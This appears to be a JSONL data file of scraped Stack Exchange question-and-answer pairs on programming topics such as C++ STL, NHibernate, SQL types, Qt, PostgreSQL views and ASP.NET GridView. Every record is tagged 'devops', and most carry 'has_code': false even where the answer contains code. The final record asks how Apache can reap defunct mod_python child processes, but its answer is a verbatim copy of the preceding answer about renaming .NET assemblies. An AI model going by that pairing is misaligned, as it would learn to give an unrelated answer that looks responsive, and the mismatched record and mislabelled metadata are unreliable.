{"id": "hf_db7a389d0498", "question": "<p>I'm looking for a good algorithm that can give me the unique edges from a set of polygon data. In this case, the polygons are defined by two arrays. One array is the number of points per polygon, and the other array is a list of vertex indices.</p>\n\n<p>I have a version that is working, but performance gets slow when reaching over 500,000 polys. My version walks over each face and adds each edge's sorted vertices to an stl::set. My data set will be primarily triangle and quad polys, and most edges will be shared.</p>\n\n<p>Is there a smarter algorithm for this?</p>\n", "question_body": "", "answer": "Just to clarify, you want, for a polygon list like this:\n```\n```\nA +-----+ B\n   \\    |\\\n    \\ 1 | \\\n     \\  |  \\\n      \\ | 2 \\\n       \\|    \\\n      C +-----+ D\n```\n```\nThen instead of edges like this:\n```\n```\nA - B -+\nB - C  +- first polygon\nC - A -+\n\nB - D -+\nD - C  +- second polygon\nC - B -+\n```\n```\nthen you want to remove the duplicate B - C vs. C - B edge and share it?\nWhat kind of performance problem are you seeing with your algorithm? I'd say a set that has a reasonable hash implementation should perform pretty ok. On the other hand, if your hash is not optimal for the data, you'll have lots of collisions which might affect performance badly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.434335"}
{"id": "hf_1bf5143a6b81", "question": "<p>I know how to fill an std::vector with non-trivial initial values, e.g. sequence numbers:</p>\n\n<pre><code>void IndexArray( unsigned int length, std::vector&lt;unsigned int&gt;&amp; v )\n{\n    v.resize(length);\n    for ( unsigned int i = 0; i &lt; length; ++i )\n    {\n        v[i] = i;\n    }\n}\n</code></pre>\n\n<p>But this is a for-loop. Is there an elegant way to do this with less lines of code using stl functionality (and <strong>not</strong> using Boost)?</p>\n", "question_body": "", "answer": "You can use the generate algorithm, for a more general way of filling up containers:\n```\n```\n#include <iostream>\n#include <algorithm>\n#include <vector>\n\nstruct c_unique {\n   int current;\n   c_unique() {current=0;}\n   int operator()() {return ++current;}\n} UniqueNumber;\n\nint main () {\n  vector<int> myvector (8);\n  generate (myvector.begin(), myvector.end(), UniqueNumber);\n\n  cout << \"\\nmyvector contains:\";\n  for (vector<int>::iterator it=myvector.begin(); it!=myvector.end(); ++it)\n    cout << \" \" << *it;\n\n  cout << endl;\n\n  return 0;\n}\n```\n```\nThis was shamelessly lifted and edited from\ncplusplusreference\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.483991"}
{"id": "hf_71515b285624", "question": "<p>I am using sql express 2008 and vs2008, writing in c#.</p>\n\n<p>I have a db table with a Geography column in it, into which I need to put gps data I collected. When I tried creating an Entity-Framework mapping for this table, it just ignored the column with some warning about not being able to map such column types.\nI then looked at nHibernate.Spatial project, but it seems like it only translates the Geometry types, not the Geography. No luck there.\nI've been told I can use a view with casting the Geography to VarBinary, and then in the created entity class add another Property that deserializes the binary back into Geography. I guess that will work for reading the data from the db, but I also need to insert those rows into my db, and I can't add rows to the view.\nIs there some other trick I can use in order to easily read and write Geography data from my db, in my c# code?</p>\n", "question_body": "", "answer": "I don't know much about EF, but NHibernate allows you to extend it's type framework using\n```\nIUserType\n```\n. There's a bit about it on\nRay Houston's Blog\n.\nI've successfully used this to create a type for that uses XmlSerialization to an Xml field, based on\nAyende's example", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.544300"}
{"id": "hf_83e1244e18d3", "question": "<p>It doesn't look like basic javascript but nor can I use JQuery commands like <code>$('myId')</code>. Is this or similar functions documented anywhere?</p>\n\n<p>For reason I don't want to go into, I am not able to use 3rd party libraries like JQuery but if some powerful javascript extensions come with asp then I would like to know about them. </p>\n", "question_body": "", "answer": "$get is a function from the (now depreciated) ms ajax core javascript library. In the future they will be using jquery therefore $get will just be $('#myid') so I dont understand your feelings about not using jQuery, MS have decided to embrace OpenSource and bundle it with visual studio, check out Scott Gu and Hanslemans announcements on their blogs.\nThe ms ajax $get('foo') and jQuery $('#someID') are both just shortened wrappers around native javascript document.getElementById('bla')\nms ajax docs\nhttp://www.asp.net/ajax/documentation/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.568060"}
{"id": "hf_68cc0c1f6ced", "question": "<p>I am new to C and i have this question. why does the following code crash:</p>\n\n<pre><code>int *a = 10;\n*a = 100;\n</code></pre>\n", "question_body": "", "answer": "You need to assign the pointer to a\nmemory location\n, not arbitrary value (10).\n```\n```\nint cell = 10;\nint *a = &cell; // a points to address of cell\n*a = 100;       // content of cell changed\n```\n```\nSee\nmy answer\nto another question, about being careful with\nC\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.615656"}
{"id": "hf_83e78caf8add", "question": "<p>my question is similar to other friend posted here...we are trying to develop an application that supports possibly terabytes of information based on a land registry in Paraguay with images and normal data.</p>\n\n<p>The problem is that we want to reduce the cost of operation to  minimum as possible because it´s like a competition between companies, and for that reason we want to use a free database....I have read a lot of information about it but I am still confused. We have to realize that the people who is gonna use it are government people so the DB has to be easy to manage at the same time.</p>\n\n<p>What would u people recommend me?</p>\n\n<p>Thanu very much</p>\n", "question_body": "", "answer": "Postgresql\n,\nSQL Server 2008\nand\nAny recent version of Oracle\nall have spatial indexing, table partitioning and BLOBs and are capable of acting as the back-end of a large geographic database.  You might also want to check out two open-source GIS applications:\nGRASS\nand\nQGIS\n, which might support doing what you want with less modification work than writing a bespoke application.  Both can use Postgresql and other database back-ends.\nAs for support, any commercial or open-source database is going to need the attentions of a competent DBA if you want to get it to work well on terabyte-size databases.  I don't think you will get away with a model of pure end-user support - attempts to do this are unlikely to work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.639741"}
{"id": "hf_9bbb8d82f3ef", "question": "<p>There has been a lot of press about IPv6 and the impending switch over to IPv6 from IPv4.  I have some understanding of IPv6, but I've often wondered how much impact IPv6 has on application development &amp; design (specifically)?</p>\n\n<p>Are there some tangible/well known benefits IPv6 provides which we don't already have today?</p>\n\n<p>I know Windows Vista and Server 2008 support IPv6 out-of-the-box, is anyone using (or designing with IPv6 in mind) today, and if so, what are the benefits?  Should we be considering IPv6 in current and future projects?</p>\n\n<p>Are there any <em>good</em> examples of IPv6-aware applications?  </p>\n", "question_body": "", "answer": "Initially not much. The switch from IPv4 to v6 should be transparent for most desktop and web applications.\nBut eventually applications that use network models that are made easier by IPv6 will become more common. For example most users are behind a NAT so mesh-networks are only feasible for a technical audience. Anyone who has had to open ports on his router for P2P software knows this is not something his mom could use.\nStreaming and broadcasting are also things that are made easier by IPv6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.743539"}
{"id": "hf_4dd4321378cd", "question": "<p>I am using Eclipse 3.3 (\"Europa\"). Periodically, Eclipse takes an inordinately long time (perhaps forever) to start up. The only thing I can see in the Eclipse log is:</p>\n\n<pre>\n    !ENTRY org.eclipse.core.resources 2 10035 2008-10-16 09:47:34.801\n    !MESSAGE The workspace exited with unsaved changes in the previous session; refreshing workspace to recover changes.\n</pre>\n\n<p>Googling reveals <a href=\"http://dev.zhourenjian.com/blog/2007/11/07/eclipse-freezing-on-start.html\" rel=\"noreferrer\">someone's suggestion</a> that I remove the folder:</p>\n\n<pre><code>workspace\\.metadata\\.plugins\\org.eclipse.core.resources\\.root\\.indexes\n</code></pre>\n\n<p>This does not appear to have helped.</p>\n\n<p>Short of starting with a new workspace (something which I am not keen to do, as it takes me hours to set up all my projects again properly), is there a way to make Eclipse start up properly?</p>\n", "question_body": "", "answer": "You can try to start\n```\nEclipse\n```\nfirst with the\n```\n-clean\n```\noption.\nOn Windows you can add the\n```\n-clean\n```\noption to your shortcut for eclipse. On\n```\nLinux\n```\nyou can simply add it when starting\n```\nEclipse\n```\nfrom the command line.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.774739"}
{"id": "hf_da1f22677fef", "question": "<p>Is it less efficient to use TEXT than varchar in an SQL database?</p>\n\n<p>If so why?</p>\n\n<p>If not why would you not just always use TEXT?</p>\n\n<p>I'm not targetting a specific database here but oracle is probably the most relevant, although I'm testing on MySQL for the time being as part of a proof of concept.</p>\n", "question_body": "", "answer": "From Microsoft\nhere\nntext, text, and image data types will\n  be removed in a future version of\n  Microsoft SQL Server. Avoid using\n  these data types in new development\n  work, and plan to modify applications\n  that currently use them. Use\n  nvarchar(max), varchar(max), and\n  varbinary(max) instead.\nWhen you use\n```\nvarchar(max)\n```\nover text you can use it in the\n```\nWHERE\n```\nclause, because they work the same as their smaller counterparts,\n```\nvarchar,nvarchar and varbinary\n```\n. Below is a small list of what should be used as opposed what was to be used:\nUse varchar(max) instead of text\nUse nvarchar(max) instead of ntext\nUse varbinary(max) instead of image", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.825914"}
{"id": "hf_7c641f754dbd", "question": "<p>I've a dialog which contains a Qt TabWidget with a number of tabs added. </p>\n\n<p>I'd like to hide one of the tabs.  </p>\n\n<pre><code>_mytab-&gt;hide() \n</code></pre>\n\n<p>doesn't work.  I don't want to just delete the tab and all its widgets from the .ui file because other code relies on the widgets within the tab.  However, it would be fine to generate the tab code but somehow not ::insertTab in the generated uic_mydialog.cpp.  Setting the hidden property in the ui file does not work either.</p>\n\n<p>I'm using Qt 3.3</p>\n", "question_body": "", "answer": "I would use QTabDialog::removePage(QWidget* pTabPage) which does not delete pTabPage, which is what you want.\n```\n```\n_myTabDlg->removePage(_mytab);\n```\n```\nI'm using it and it works fine !", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.886304"}
{"id": "hf_163a4eaa7d0d", "question": "<p>I want this method to work for any given number of arguments, i can do that with code generation(with a lot of ugly code), can it be done with recursion? if so how? I understand recursion, but i dont know how to write this.</p>\n\n<pre><code>private static void allCombinations(List&lt;String&gt;... lists) {\n    if (lists.length == 3) {\n        for (String s3 : lists[0]) {\n            for (String s1 : lists[1]) {\n                for (String s2 : lists[2]) {\n                    System.out.println(s1 + \"-\" + s2 + \"-\" + s3);\n                }\n            }\n        }\n    }\n    if (lists.length == 2) {\n        for (String s3 : lists[0]) {\n            for (String s1 : lists[1]) {\n                    System.out.println(s1 + \"-\" + s3);\n            }\n        }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Do you particularly need it to be recursive? I'd make it non-recursive but still not special case things:\n```\n```\npublic static void allCombinations(List<String>... lists) {\n    int[] indexes = new int[lists.length];\n\n    while (incrementIndexes(lists, indexes)) {\n        StringBuilder builder = new StringBuilder();\n        for (int i=0; i < indexes.length; i++) {\n            if (i != 0) {\n                builder.append(\"-\");\n            }\n            builder.append(lists[i].get(indexes[i]));\n        }\n        System.out.println(builder);\n    }\n}\n\nprivate static boolean incrementIndexes(List<String>[] lists, int[] indexes) {\n    for (int depth = indexes.length-1; depth >= 0; depth--) {\n        indexes[depth]++;\n        if (indexes[depth] != lists[depth].size()) {\n            return true;\n        }\n        // Overflowed this index. Reset to 0 and backtrack\n        indexes[depth] = 0;\n    }\n    // Everything is back to 0. Finished!\n    return false;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.922308"}
{"id": "hf_50169ed005f6", "question": "<p>I have a database that contains a table that looks a bit like this:</p>\n\n<p>PropertyId, EntityId, Value</p>\n\n<p>PropertyId and EntityId are a combined primary key. Every Entity is spread over a couple of rows where every row contains a single property of the entity. I have no control over this database so I'll have to work with it.</p>\n\n<p>Is it possible to use NHibernate to map entities from this table to single objects? I only have to read from this table, this might make things a bit easier. Or would I be better off just using DataReaders and do the mapping myself?</p>\n", "question_body": "", "answer": "Not quite done that, but you could use a custom SQL query to define your entities (distinct entityid, plus any entity level attributes), see\nhere\n.\nAlthough I can see you might want the property/values mapped to attributes of the entity object.  Which might mean further queries to populate them by hand - which may mean your data reader route is best.\nIf your happy for them to be a collection of the entity then that should be no problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.963281"}
{"id": "hf_bba2f1921a5d", "question": "<p>I have a databound <code>DataGridView</code>. When a new row is added and the user presses <kbd>Esc</kbd> I want to delete the entire row. How can I do this?</p>\n", "question_body": "", "answer": "quite easy actually\n```\n```\nprivate void dataGridView1_KeyPress(object sender, KeyPressEventArgs e)\n{\n    if (e.KeyChar == (char)27)\n    {\n        if (dataGridView1.Rows.Count > 0)\n        {\n            dataGridView1.Rows.RemoveAt(dataGridView1.Rows.Count - 1);\n            MessageBox.Show(\"Last row deleted!\");\n        }\n        e.Handled = true;\n    }\n}\n```\n```\nbut take in mind that:\nRows cannot be programmatically removed unless the DataGridView is data-bound to an IBindingList that supports change notification and allows deletion", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:02.987732"}
{"id": "hf_59f3f5ce8ce5", "question": "<p>In the course of my career I've noticed that developers working on new functionality are, as a rule, more cheerful than these assigned to troubleshooting and fixing bugs.</p>\n\n<p>Good tips on keeping business support a happy? Organising business support in the way that team's morale isn’t hurt?</p>\n", "question_body": "", "answer": "I have seen this too. \nThere are few approaches that I can think of:\n1. Give some thought to selection process.\nNot everyone have same career aspirations. While some people are always dying to work for the latest technology and challenging projects, there are others who are content at a stable work environment. Picking the person with right KSA (Knowledge, Skills, Attitude) is always central to good person-job match. In this case, you just need to put more stress on the Attitude part.\n2. Choose the right lead\nTeam leads play crucial role in controlling the motivation and morale of the team. There must be an open and frank channel of communication with team lead and upper management. Ideally a person from the senior management should be made the owner of the team in formal organization chart. Team lead should actively try to foster a team-culture that suites the nature of the team.\n3. Rewards\nRewards off course are key tool for managing motivational issues. Just make sure the person receiving the rewards understand that the nature of job was also taken into consideration in decision to reward. If this point is not addressed, it is likely that the person will not take this factor into account when perceiving internal equity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.036117"}
{"id": "hf_bc2994bb31df", "question": "<p>I'm not sure what the best api for simple 2d graphics with Java is. I know <code>java.awt.Graphics2D</code> was the standard but has it been replaced? Swing is the new API for Java GUI apps but it seems a bit heavy for what I want. What I really want is something like the C <a href=\"http://libsdl.org/\" rel=\"noreferrer\">SDL library</a>.</p>\n", "question_body": "", "answer": "Java 2D\n(\n```\nGraphics2D\n```\nand friends) is indeed the best choice that I know of. Swing is actually implemented on top of Java 2D, so yes, if you want non-GUI-type graphics, Java 2D is the way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.060757"}
{"id": "hf_655202eaa0ba", "question": "<p>I was wondering if anybody could point me towards a free ftps module for python.</p>\n\n<p>I am a complete newbie to python, but this is something I need for a work project. I need an ftps client to connect to a 3rd party ftps server.</p>\n\n<p>thanks,</p>\n\n<p>David.</p>\n", "question_body": "", "answer": "I haven't tried it myself (yes, I just used Google and followed some links), but\nhttp://www.lag.net/paramiko/\nseems to be the recommended solution. From a cursory glance, it's an SSH implementation in pure Python, which allows tunneling for things like FTP.\nUpdate: a commenter pointed out that I mixed up sftp and ftps, sorry. I still suggest at least investigating Paramiko briefly to see if it matches the requirements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.085102"}
{"id": "hf_0f06e5f48994", "question": "<p>How do I get a platform-dependent newline in Java? I can’t use <code>\"\\n\"</code> everywhere.</p>\n", "question_body": "", "answer": "You can use\n```\n```\nSystem.getProperty(\"line.separator\");\n```\n```\nto get the line separator", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.109431"}
{"id": "hf_5eb7b7375c82", "question": "<p>I have a large query in a PostgreSQL database.\nThe Query is something like this:</p>\n\n<pre><code>SELECT * FROM table1, table2, ... WHERE table1.id = table2.id...\n</code></pre>\n\n<p>When I run this query as a sql query, the it returns the wanted row.</p>\n\n<p>But when I tries to use the same query to create a view, it returns an error:</p>\n\n<p>\"error: column \"id\" specified more than once.\"</p>\n\n<p>(I use pgAdminIII when executing the queries.)</p>\n\n<p>I'll guess this happens because the resultset will have more than one column named \"id\". Is there someway to solve this, without writing all the column names in the query?</p>\n", "question_body": "", "answer": "That happens because a view would have two id named columns, one from table1 and one from table2, because of the select *.\nYou need to specify which id you want in the view.\n```\n```\nSELECT table1.id, column2, column3, ... FROM table1, table2 \nWHERE table1.id = table2.id\n```\n```\nThe query works because it can have equally named columns...\n```\n```\npostgres=# select 1 as a, 2 as a;\n a | a\n---+---\n 1 | 2\n(1 row)\n\npostgres=# create view foobar as select 1 as a, 2 as a;\nERROR:  column \"a\" duplicated\npostgres=# create view foobar as select 1 as a, 2 as b;\nCREATE VIEW\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.146146"}
{"id": "hf_5f7be0bf2150", "question": "<p>In our administration team everyone has root passwords for all client servers.\nBut what should we do if one of the team members is not longer working with us?\nHe still has our passwords and we have to change them all, every time someone leave us. </p>\n\n<p>Now we are using ssh keys instead of passwords, but this is not helpful if we have to use something other than ssh.</p>\n", "question_body": "", "answer": "The systems I run have a\nsudo\n-only policy. i.e., the root password is\n```\n*\n```\n(disabled), and people have to use sudo to get root access. You can then edit your\n```\nsudoers\n```\nfile to grant/revoke people's access. It's very granular, and has lots of configurability---but has sensible defaults, so it won't take you long to set up.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.243812"}
{"id": "hf_80ced17d9ca9", "question": "<p>Say I create an object thus:</p>\n\n<pre><code>var myObject =\n        {\"ircEvent\": \"PRIVMSG\", \"method\": \"newURI\", \"regex\": \"^http://.*\"};\n</code></pre>\n\n<p>What is the best way to retrieve a list of the property names? i.e. I would like to end up with some variable 'keys' such that:</p>\n\n<pre><code>keys == [\"ircEvent\", \"method\", \"regex\"]\n</code></pre>\n", "question_body": "", "answer": "In modern browsers (IE9+, FF4+, Chrome5+, Opera12+, Safari5+) you can use the built in\nObject.keys\nmethod:\n```\n```\nvar keys = Object.keys(myObject);\n```\n```\nThe above has a full polyfill but a simplified version is:\n```\n```\nvar getKeys = function(obj){\n   var keys = [];\n   for(var key in obj){\n      keys.push(key);\n   }\n   return keys;\n}\n```\n```\nAlternatively replace\n```\nvar getKeys\n```\nwith\n```\nObject.prototype.keys\n```\nto allow you to call\n```\n.keys()\n```\non any object.  Extending the prototype has some side effects and I wouldn't recommend doing it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.281801"}
{"id": "hf_3877e9b572f4", "question": "<p>I'm looking for a way to selectively apply a CSS class to individual rows in a <code>GridView</code> based upon a property of the data bound item.</p>\n\n<p>e.g.:</p>\n\n<p>GridView's data source is a generic list of <code>SummaryItems</code> and <code>SummaryItem</code> has a property <code>ShouldHighlight</code>. When <code>ShouldHighlight == true</code> the CSS for the associated row should be set to <code>highlighted</code></p>\n\n<p>any ideas?</p>\n", "question_body": "", "answer": "very easy\n```\n```\nprotected void GridView1_RowDataBound(object sender, GridViewRowEventArgs e)\n{\n    if (e.Row.RowType == DataControlRowType.DataRow)\n    {\n        DataRowView drv = e.Row.DataItem as DataRowView;\n        if (drv[\"ShouldHighlight\"].ToString().ToLower() == \"true\")\n            e.Row.CssClass = \"highlighted\";\n    }\n}\n```\n```\nthe code above works if you use a\nDataTable as DataSource\nchange to:\n```\n```\nprotected void GridView1_RowDataBound(object sender, GridViewRowEventArgs e)\n{\n    if (e.Row.RowType == DataControlRowType.DataRow)\n    {\n        myClass drv = (myClass)e.Row.DataItem;\n        if (drv.ShouldHighlight)\n            e.Row.CssClass = \"highlighted\";\n    }\n}\n```\n```\njust for the example above when using generics:\n```\n```\npublic class myClass\n{ \n    public Boolean ShouldHighlight\n    { get; set; }\n}\n```\n```\nif you are working with\nGenerics\n(List, Dictionary, etc)\nkeep in mind:\n```\n```\ne.Row.dataItem\n```\n```\nalways return the entire object that you are populating the row with, so it is easy from here to manipulate the appearance of the data in the webpage.\nyou should use RowDataBound event that will trigger after the data is attached to the row object but not yet written the HTML code in the page, in this way you can check the ShouldHighlight value (I converted to a String cause I do not know the type, you can change it if you know it's a boolean value).\nthis code runs much faster than megakemp code cause you're not creating a List object and populated with the entire data source for each row...\nP.S. take a\nlook at this website\n, you can find several tutorials for your project using the GridView object", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.356999"}
{"id": "hf_8ea80c4f9ddc", "question": "<p>I want to develop a website in ASP classic that uses HTTP Authentication against a database or password list that is under the control of the script. Ideally, the solution should involve no components or IIS settings as the script should be runnable in a hosted environment.</p>\n\n<p>Any clues/code deeply appreciated.</p>\n", "question_body": "", "answer": "Hi are you trying to get a list of users from a database or use network based permissions on the HTTP server?\nIf you are using a database use ODBC and DSN\n```\n```\nDim DatabaseObject1\nSet DatabaseObject1 = Server.CreateObject(\"ADODB.Connection\")\nDatabaseObject1.Open(\"DSN=DSNname;\")\n```\n```\nIf you are wanting a password dialogue box (from the server), you will need to alter IIS settings for a good guide to this..\nhttp://www.authenticationtutorial.com/tutorial/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.450715"}
{"id": "hf_20761d21e0f2", "question": "<p>If i can use</p>\n\n<pre><code>&lt;td&gt;&lt;textarea&gt;&lt;bean:write name=\"smlMoverDetailForm\" property=\"empFDJoiningDate\"/&gt;\n&lt;/textarea&gt;&lt;/td&gt;\n</code></pre>\n\n<p>to displace a value how can i use the struts tags to save a vaiable to the sesssion </p>\n\n<p>in sudo code</p>\n\n<pre><code>session.setAttribute(\"test\" , \"&lt;bean:write name=\"smlMoverDetailForm\"\nproperty=\"empFDJoiningDate\"/&gt;\");\n</code></pre>\n\n<p>is this possible?</p>\n", "question_body": "", "answer": "I don't think so.\nStruts tags are only available in jsp pages.\nBut you can do something like this:\nif the bean smlMoverDetailForm is in scope request\n```\n```\nsession.setAttribute(\"test\",((THECLASSOFTHEBEAN)request.getAttribute(\"smlMoverDetailForm\")).getEmpFDJoiningDate());\n```\n```\nelse if the bean smlMoverDetailForm is in scope session\n```\n```\nsession.setAttribute(\"test\",((THECLASSOFTHEBEAN)request.getSession().getAttribute(\"smlMoverDetailForm\")).getEmpFDJoiningDate());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.488338"}
{"id": "hf_e58816c4928a", "question": "<p>In Visual Studio 2008 (and others) when creating a .NET or silverlight application if you look at your project properties, it seems like you can only have one assembly name - across all configurations. I would like to compile my application as:</p>\n\n<p>MyAppDebug - in debug mode\nand just\nMyApp - in release mode</p>\n\n<p>Does anyone know if this is possible?</p>\n\n<p><strong>Edit:</strong></p>\n\n<p>It seems some people are questioning the reasoning behind the question, so I'll explain a little further:</p>\n\n<p>I'm working on a Silverlight application which gets automatically uploaded to our test site when I to a \"build solution\". The trouble is, the test team are now testing the online version, whilst I work on a new one. So, I want to have a url like .\\MyApp.html for the regular version that the QA team will test and then .\\MyApp.html?version=debug for the current version that I'm working on.</p>\n", "question_body": "", "answer": "Sure you can add a post-build event to rename the assembly. This will work if your solution has only one assembly.\nBut if your solution consists of several projects, you normally have one project referencing the assembly generated by another problem. Imagine your solution has has two projets: the first one creates a Windows Forms exe (MyApp.EXE), which references the assembly created by the second project (MyData.DLL).\nIn this example the debug EXE would be named MyAppDebug.EXE, and it needs to reference MyDataDebug.EXE. And this will not work with renaming in a post-build event.\nTherefore I strongly recommend not to do any renaming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.513519"}
{"id": "hf_153d4f1ed3c0", "question": "<pre><code>Apache/2.2.6 (Unix) DAV/2 mod_python/3.2.8 Python/2.4.4 configured ...\n</code></pre>\n\n<p>One of apache processes spawns some long-running python script asynchronously, and apparently doesn't seem to collect its child process table entry. After that long-run-in-subprocess python script finishes - defunct python process has been left.</p>\n\n<pre><code># ps -ef | grep httpd\nroot     23911     1  0 Oct15 ?        00:00:01 /usr/sbin/httpd\n...\nqa       23920 23911  0 Oct15 ?        00:00:00 /usr/sbin/httpd\n\n\n# ps -ef | grep python\n...\nqa       28449 23920  0 12:38 ?        00:00:00 [python] &lt;defunct&gt;\n</code></pre>\n\n<p>What is the way to make the Apache process to collect its children? Is it possible to do the job via a mod_python request handler ( like PythonCleanupHandler for example)?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Sure you can add a post-build event to rename the assembly. This will work if your solution has only one assembly.\nBut if your solution consists of several projects, you normally have one project referencing the assembly generated by another problem. Imagine your solution has has two projets: the first one creates a Windows Forms exe (MyApp.EXE), which references the assembly created by the second project (MyData.DLL).\nIn this example the debug EXE would be named MyAppDebug.EXE, and it needs to reference MyDataDebug.EXE. And this will not work with renaming in a post-build event.\nTherefore I strongly recommend not to do any renaming.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:28:03.538430"}
